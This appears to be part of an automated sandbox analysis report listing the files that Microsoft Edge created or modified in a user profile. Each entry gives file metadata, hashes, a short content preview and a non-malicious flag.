Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381442187438388","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222875220647078
Encrypted:	false
SSDEEP:	24576:v+/PN8FTfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Rfx2mjF
MD5:	53976C7BD3B0EDB08E7B04D5E9194459
SHA1:	7858B4F7AF18C03274F333D5BA24ECBA4F5EE203
SHA-256:	2C045DAFD78D9F95D2E7EF885E4D692F7DCFD325FC58CD096EFC7B5BFAFF888E
SHA-512:	BB7D8C3146A572215B614DCCCB7CFF1702B94613FACC71C3D5D87E3F80F5823F1C1FAB2F181B899EB4E51C20C5EB7D91E1B893BD3BC253E2EA9CA8465E67C92B
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.115530769819553
Encrypted:	false
SSDEEP:	6:iOJXiM+q2P923oH+Tcwt9Eh1tIFUtPcEmZmwtfLf0P1lLLfxhR2SVP:71+v4Yeb9Eh16FUtUEm/FYTLoSh
MD5:	3A47925F784EAB31EDE53A5250A0E075
SHA1:	A506C0DB0FA9ED128CBA84568EFFA403363D41FC
SHA-256:	6BAE4DCEE3B1B3987030A5C3924F7287D2EBB4254A25D196E0BBFD02DEA45942
SHA-512:	BFCF91F7DC9F9142339C20CC9FCFD60B78798420381274ECF176589310775E8C25C5F5F240E08121FA9A69CDEB7EFE0CFCD703B42B00BB2D136439809AA83495
Malicious:	false
Preview:	2025/01/15-14:19:27.007 1cac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/01/15-14:19:27.011 1cac Recovering log #3.2025/01/15-14:19:27.031 1cac Level-0 table #3: started.2025/01/15-14:19:27.217 1cac Level-0 table #3: 739857 bytes OK.2025/01/15-14:19:27.227 1cac Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.115530769819553
Encrypted:	false
SSDEEP:	6:iOJXiM+q2P923oH+Tcwt9Eh1tIFUtPcEmZmwtfLf0P1lLLfxhR2SVP:71+v4Yeb9Eh16FUtUEm/FYTLoSh
MD5:	3A47925F784EAB31EDE53A5250A0E075
SHA1:	A506C0DB0FA9ED128CBA84568EFFA403363D41FC
SHA-256:	6BAE4DCEE3B1B3987030A5C3924F7287D2EBB4254A25D196E0BBFD02DEA45942
SHA-512:	BFCF91F7DC9F9142339C20CC9FCFD60B78798420381274ECF176589310775E8C25C5F5F240E08121FA9A69CDEB7EFE0CFCD703B42B00BB2D136439809AA83495
Malicious:	false
Preview:	2025/01/15-14:19:27.007 1cac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/01/15-14:19:27.011 1cac Recovering log #3.2025/01/15-14:19:27.031 1cac Level-0 table #3: started.2025/01/15-14:19:27.217 1cac Level-0 table #3: 739857 bytes OK.2025/01/15-14:19:27.227 1cac Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old~RF647aa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.115530769819553
Encrypted:	false
SSDEEP:	6:iOJXiM+q2P923oH+Tcwt9Eh1tIFUtPcEmZmwtfLf0P1lLLfxhR2SVP:71+v4Yeb9Eh16FUtUEm/FYTLoSh
MD5:	3A47925F784EAB31EDE53A5250A0E075
SHA1:	A506C0DB0FA9ED128CBA84568EFFA403363D41FC
SHA-256:	6BAE4DCEE3B1B3987030A5C3924F7287D2EBB4254A25D196E0BBFD02DEA45942
SHA-512:	BFCF91F7DC9F9142339C20CC9FCFD60B78798420381274ECF176589310775E8C25C5F5F240E08121FA9A69CDEB7EFE0CFCD703B42B00BB2D136439809AA83495
Malicious:	false
Preview:	2025/01/15-14:19:27.007 1cac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/01/15-14:19:27.011 1cac Recovering log #3.2025/01/15-14:19:27.031 1cac Level-0 table #3: started.2025/01/15-14:19:27.217 1cac Level-0 table #3: 739857 bytes OK.2025/01/15-14:19:27.227 1cac Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.35411794220153
Encrypted:	false
SSDEEP:	6144:oA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:oFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	A4A480D6AF00AC1D639FB802AEC4BADD
SHA1:	E62D297E911706C56F2C97F0D6E78E15A1DCD7E6
SHA-256:	A458BFAEB053FBF700B5CEC0BAE271A6F2DA8535EE13027FF72B8A2FB129166F
SHA-512:	B0FEB48E4249BD23260D94159BAB9B2BD05DBD73EC9916E17A7F8254957CB448C1D5DC59034F955103B6A95B846C08FA96C1A9DBADB2622C0F724C656FBB57EF
Malicious:	false
Preview:	...m.................DB_VERSION.1I..Iq...............&QUERY_TIMESTAMP:domains_config_gz2...13381442195351466..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.165631290510984
Encrypted:	false
SSDEEP:	6:iOJcvU21923oH+Tcwtk2WwnvB2KLl/ccDM+q2P923oH+Tcwtk2WwnvIFUv:7nYebkxwnvFLVM+v4YebkxwnQFUv
MD5:	10E027B1E4A84F344B2CF480138398B4
SHA1:	F0F9FC0F3DC6E673775604DDC447810F294386BC
SHA-256:	562DC408F22588DABD30BA4E3C8B014E3A31EFD29C10B2B46E7B0C294A3827A4
SHA-512:	B86DC70BD8AB0DD91D9786B7C8B38185A0F2AD6AFFA640F21B3175FB54EC1934D3CB9BA0ED1E0DFD1F86282436CDF2BD1A744D335DC1097FE78BADF58FC0E008
Malicious:	false
Preview:	2025/01/15-14:16:32.775 216c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/01/15-14:16:33.110 216c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324620416079935
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RH:C1gAg1zfv/
MD5:	6752B4220BB1C600EB58A71B7D9D8351
SHA1:	10B11EB21EA1C769446F11F6200D982488484266
SHA-256:	CAAF031EA0EB73734027620F040548F16A81289FBB50AA2A01D3F58A046F7CFA
SHA-512:	EF17388CC3C91319EE5853A127DDAD63AD2F34F767D2B6626C460836972413353397BF40373D94DABB679B1792D9FC34646B3BBE50769521ABEB8788FC86C066
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2ded8536-defa-4665-9fff-6780240cf144.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1769
Entropy (8bit):	5.318160593402002
Encrypted:	false
SSDEEP:	24:YALlC51SFFGJ/I3RdsUZVMdmRds/ZFRudFGRRdsgZ6ma3yeesw6maPsw6C1VdsAG:YALlCv+gCzsMtshfcKsgleeBkBRsACM+
MD5:	28B7142E8A85F20541F154D5A52302D9
SHA1:	24C1B0D0BDB09AA37B4A6B6C558B96CA477A0781
SHA-256:	5F4D84EC70A4E42BE0CE0B2F1D7BE42F2355625E06718A769E1EA1D638F210E2
SHA-512:	3859055D08791B4A2AA8C214094E4C39D2C2E3E87DF8C1584067E04EB48BD635D12891D136476247573CC107DE85BEDA10936486E1D7105491EFA59E1AECC58B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"broken_alternative_services":[{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"broken_count":23,"broken_until":"1736968898","host":"assets.msn.com","port":443,"protocol_str":"quic"}],"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13384034190185277","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13384034193512477","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381535795238511","port":443,"protoc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\70713d9c-df2f-443a-ae32-37d1da7ac63f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\77d14e88-85ae-4b04-8fb1-6552c08fd1fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1769
Entropy (8bit):	5.318160593402002
Encrypted:	false
SSDEEP:	24:YALlC51SFFGJ/I3RdsUZVMdmRds/ZFRudFGRRdsgZ6ma3yeesw6maPsw6C1VdsAG:YALlCv+gCzsMtshfcKsgleeBkBRsACM+
MD5:	28B7142E8A85F20541F154D5A52302D9
SHA1:	24C1B0D0BDB09AA37B4A6B6C558B96CA477A0781
SHA-256:	5F4D84EC70A4E42BE0CE0B2F1D7BE42F2355625E06718A769E1EA1D638F210E2
SHA-512:	3859055D08791B4A2AA8C214094E4C39D2C2E3E87DF8C1584067E04EB48BD635D12891D136476247573CC107DE85BEDA10936486E1D7105491EFA59E1AECC58B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"broken_alternative_services":[{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"broken_count":23,"broken_until":"1736968898","host":"assets.msn.com","port":443,"protocol_str":"quic"}],"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13384034190185277","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13384034193512477","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381535795238511","port":443,"protoc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39fbc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ab64.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3aefe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
